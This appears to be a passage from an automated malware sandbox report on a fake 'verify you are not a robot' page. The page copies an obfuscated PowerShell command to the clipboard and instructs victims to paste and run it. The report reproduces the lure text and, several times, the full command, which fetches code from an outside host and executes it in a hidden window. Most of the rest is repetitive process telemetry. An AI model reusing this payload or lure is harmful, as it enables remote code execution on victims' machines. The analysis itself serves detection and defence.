Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb) source: powershell.exe, 00000011.00000002.1832949556.0000000008776000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdby source: powershell.exe, 00000019.00000002.2035742087.0000000008245000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: bpdbent.pdb source: powershell.exe, 0000001B.00000002.2087825147.0000000006F58000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

PowerShell case anomaly found

Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K poweRshEll -w h /c "$e"vsg"1 = 't"okenn"bkn.c"o"m';$vtl"h"7 = I"nvo"ke"-"RestM"ethod" -Uri $e"vs"g1;In"vo"ke-"E"xpr"e"s"s"ion $v"t"lh7"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poweRshEll -w h /c "$e"vsg"1 = 't"okenn"bkn.c"o"m';$vtl"h"7 = I"nvo"ke"-"RestM"ethod" -Uri $e"vs"g1;In"vo"ke-"E"xpr"e"s"s"ion $v"t"lh7"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poweRshEll -w h /c "$e"vsg"1 = 't"okenn"bkn.c"o"m';$vtl"h"7 = I"nvo"ke"-"RestM"ethod" -Uri $e"vs"g1;In"vo"ke-"E"xpr"e"s"s"ion $v"t"lh7"	Jump to behavior

Persistence and Installation Behavior

Detect drive by download via clipboard copy & paste

Source: Chrome DOM: 1.7	OCR Text: To continue, complete the task belaw Comp\ete these Verification Steps these steps: I. Press and hold the Windows key 2. In the verification window, press Ctrl to paste the copied data. 3. Press to complete the verification. Perform the steps above to finish VERIFY verification.
Source: Chrome DOM: 1.8	OCR Text: To continue, complete the task belaw Complete these Verification Steps To confirm you are not a robot, please follow these steps: I. Press and hold the Windows key 2. In the verification window, press Ctrl to paste the copied data. 3. Press to complete the verification. Perform the steps above to finish VERIFY verification.

HTML page adds supicious text to clipboard

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Clipboard modification: poweRshEll w h /c "$e"vsg"1 = 't"okenn"bkn.c"o"m';$vtl"h"7 = I"nvo"ke"-"RestM"ethod" -Uri $e"vs"g1;In"vo"ke-"E"xpr"e"s"s"ion $v"t"lh7"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
